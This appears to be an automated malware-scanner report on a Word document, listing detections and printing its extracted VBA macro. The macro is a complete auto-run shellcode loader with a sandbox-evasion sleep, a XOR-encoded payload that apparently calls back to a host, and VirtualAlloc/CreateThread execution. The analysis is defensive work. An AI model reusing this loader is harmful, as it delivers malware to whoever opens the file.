MALICIOUS
258
Risk Score
Heuristics 9
-
ClamAV: Doc.Malware.Valyria-10001333-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-10001333-0
-
Raw OLE macro native-memory callback shellcode loader critical OLE_RAW_MACRO_NATIVE_MEMORY_CALLBACK_LOADERRaw OLE/VBA project text contains an auto-exec entry plus native memory allocation, process-memory write/copy, and callback/timer execution APIs. This catches source-stomped or partially recovered VBA loaders where the extracted macro source omits the auto-run entry, but the compiled/source project bytes still expose the in-memory shellcode loader triad.
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADERVBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.Matched line in script
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5276 bytes |
SHA-256: ff470cc4af394b21674c9c962e6be2f182aad3486d0998a240fbd46b10ccc593 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Sub mymacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim t1 As Date
Dim t2 As Date
Dim time As Long
t1 = Now()
Sleep (10000)
t2 = Now()
time = DateDiff("s", t1, t2)
If time < 9 Then
Exit Sub
End If
buf = Array(6, 18, 117, 250, 250, 250, 154, 115, 31, 203, 40, 158, 113, 168, 202, 113, 168, 246, 113, 168, 238, 203, 5, 113, 136, 210, 245, 77, 176, 220, 203, 58, 86, 198, 155, 134, 248, 214, 218, 59, 53, 247, 251, 61, 179, 143, 21, 168, 173, 113, _
168, 234, 113, 184, 198, 251, 42, 113, 186, 130, 127, 58, 142, 182, 251, 42, 170, 113, 162, 218, 251, 41, 113, 178, 226, 127, 51, 142, 198, 179, 113, 206, 113, 203, 5, 251, 44, 203, 58, 86, 59, 53, 247, 251, 61, 194, 26, 143, 14, 249, _
135, 2, 193, 135, 222, 143, 26, 162, 113, 162, 222, 251, 41, 156, 113, 246, 177, 113, 162, 230, 251, 41, 113, 254, 113, 251, 42, 115, 190, 222, 222, 161, 161, 155, 163, 160, 171, 5, 26, 162, 165, 160, 113, 232, 19, 122, 5, 5, 5, 167, _
146, 148, 159, 142, 250, 146, 141, 147, 148, 147, 174, 146, 182, 141, 220, 253, 5, 47, 203, 33, 169, 169, 169, 169, 169, 18, 130, 250, 250, 250, 183, 149, 128, 147, 150, 150, 155, 213, 207, 212, 202, 218, 210, 183, 155, 153, 147, 148, 142, 149, _
137, 146, 193, 218, 179, 148, 142, 159, 150, 218, 183, 155, 153, 218, 181, 169, 218, 162, 218, 203, 200, 165, 200, 165, 203, 211, 218, 187, 138, 138, 150, 159, 173, 159, 152, 177, 147, 142, 213, 207, 201, 205, 212, 201, 204, 218, 210, 177, 178, 174, _
183, 182, 214, 218, 150, 147, 145, 159, 218, 189, 159, 153, 145, 149, 211, 218, 185, 146, 136, 149, 151, 159, 213, 195, 194, 212, 202, 212, 206, 205, 207, 194, 212, 194, 203, 218, 169, 155, 156, 155, 136, 147, 213, 207, 201, 205, 212, 201, 204, 250, _
146, 192, 172, 131, 93, 5, 47, 169, 169, 144, 249, 169, 169, 146, 65, 251, 250, 250, 18, 155, 251, 250, 250, 213, 182, 150, 169, 202, 215, 162, 185, 201, 128, 201, 160, 171, 187, 172, 191, 187, 183, 128, 176, 145, 187, 187, 187, 205, 204, 144, _
142, 139, 201, 160, 205, 163, 163, 151, 160, 156, 187, 151, 194, 149, 205, 189, 205, 190, 170, 136, 184, 144, 183, 157, 174, 174, 148, 152, 203, 184, 201, 139, 203, 206, 191, 145, 175, 181, 203, 207, 181, 130, 153, 141, 138, 205, 179, 130, 131, 176, _
162, 179, 177, 149, 128, 188, 140, 152, 180, 206, 183, 169, 143, 175, 158, 151, 177, 200, 138, 165, 181, 175, 173, 177, 195, 152, 147, 163, 146, 185, 200, 130, 179, 131, 151, 194, 180, 178, 169, 137, 191, 190, 140, 180, 151, 185, 172, 195, 168, 149, _
170, 151, 177, 174, 173, 180, 182, 178, 177, 142, 155, 189, 169, 157, 207, 142, 155, 189, 131, 184, 172, 179, 131, 204, 204, 153, 183, 207, 148, 180, 158, 194, 156, 181, 201, 181, 185, 165, 171, 162, 191, 215, 147, 185, 172, 191, 136, 194, 204, 130, _
155, 151, 172, 190, 191, 191, 202, 202, 160, 140, 153, 195, 170, 128, 140, 178, 181, 148, 181, 144, 141, 172, 137, 141, 149, 203, 140, 206, 146, 174, 169, 185, 250, 170, 146, 173, 115, 101, 60, 5, 47, 115, 60, 169, 146, 250, 200, 18, 126, 169, _
169, 169, 173, 169, 172, 146, 17, 175, 212, 193, 5, 47, 108, 144, 240, 165, 146, 122, 201, 250, 250, 115, 26, 144, 254, 170, 144, 229, 172, 146, 143, 188, 100, 124, 5, 47, 169, 169, 169, 169, 172, 146, 215, 252, 226, 129, 5, 47, 127, 58, _
143, 238, 146, 114, 233, 250, 250, 146, 190, 10, 207, 26, 5, 47, 181, 143, 55, 18, 177, 250, 250, 250, 144, 186, 146, 250, 234, 250, 250, 146, 250, 250, 186, 250, 169, 146, 162, 94, 169, 31, 5, 47, 105, 169, 169, 115, 29, 173, 146, 250, _
218, 250, 250, 169, 172, 146, 232, 108, 115, 24, 5, 47, 127, 58, 142, 53, 113, 253, 251, 57, 127, 58, 143, 31, 162, 57, 165, 18, 145, 5, 5, 5, 203, 195, 200, 212, 203, 204, 194, 212, 206, 195, 212, 203, 195, 201, 250, 65, 10, 79, _
88, 172, 144, 250, 169, 5, 47)
Dim xorKey As Integer
xorKey = 250
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor xorKey
Next i
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Sub Document_Open()
mymacro
End Sub
Sub AutoOpen()
mymacro
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.